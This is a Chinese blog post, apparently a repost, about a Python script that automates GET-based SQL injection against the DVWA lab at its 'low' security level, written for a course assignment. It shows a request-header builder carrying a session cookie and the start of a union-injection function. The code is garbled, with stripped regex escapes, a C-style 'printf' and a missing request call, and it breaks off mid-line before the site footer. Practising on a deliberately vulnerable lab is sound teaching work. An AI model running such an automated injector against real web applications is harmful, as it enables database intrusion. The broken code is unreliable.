概念等就不做介绍了,前人之述备矣。
本代码仅完成了get方式的注入,只针对了dvwa靶场中sql注入和盲注low部分的自动注入。(为了完成课程实验,因为dvwa里low级别注入方式是字符型的注入方式,因此我也减少了判断是数字注入还是字符注入,但要实现也容易,判断完类型后在构造sql语句中是否加“ ’ ”)
需要先构造http头部信息:
def get_header(url, cookie): # 生成头部信息ip = re.search('d{1,3}.d{1,3}.d{1,3}.d{1,3}', url).group()headers = {'Host': f'{ip}','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Referer': f'{url}','Connection': 'close','Cookie': f'security=low; PHPSESSID={cookie}','Upgrade-Insecure-Requests': '1'}return headers, ip
下面是各部分代码:
根据构造注入的sql语句,url和头部信息,获取到页面,当页面出现Unknown时表示注入错误,当注入正确时会返回页面信息。
def sql_union_inject(sql, url, headers):str = f'?id={sql}&Submit=Submit#'printf("正在猜解:" + url + str)recv = (url + str, headers=headers).textif recv.find
本文发布于:2024-02-01 02:26:08,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170672557133189.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
留言与评论(共有 0 条评论) |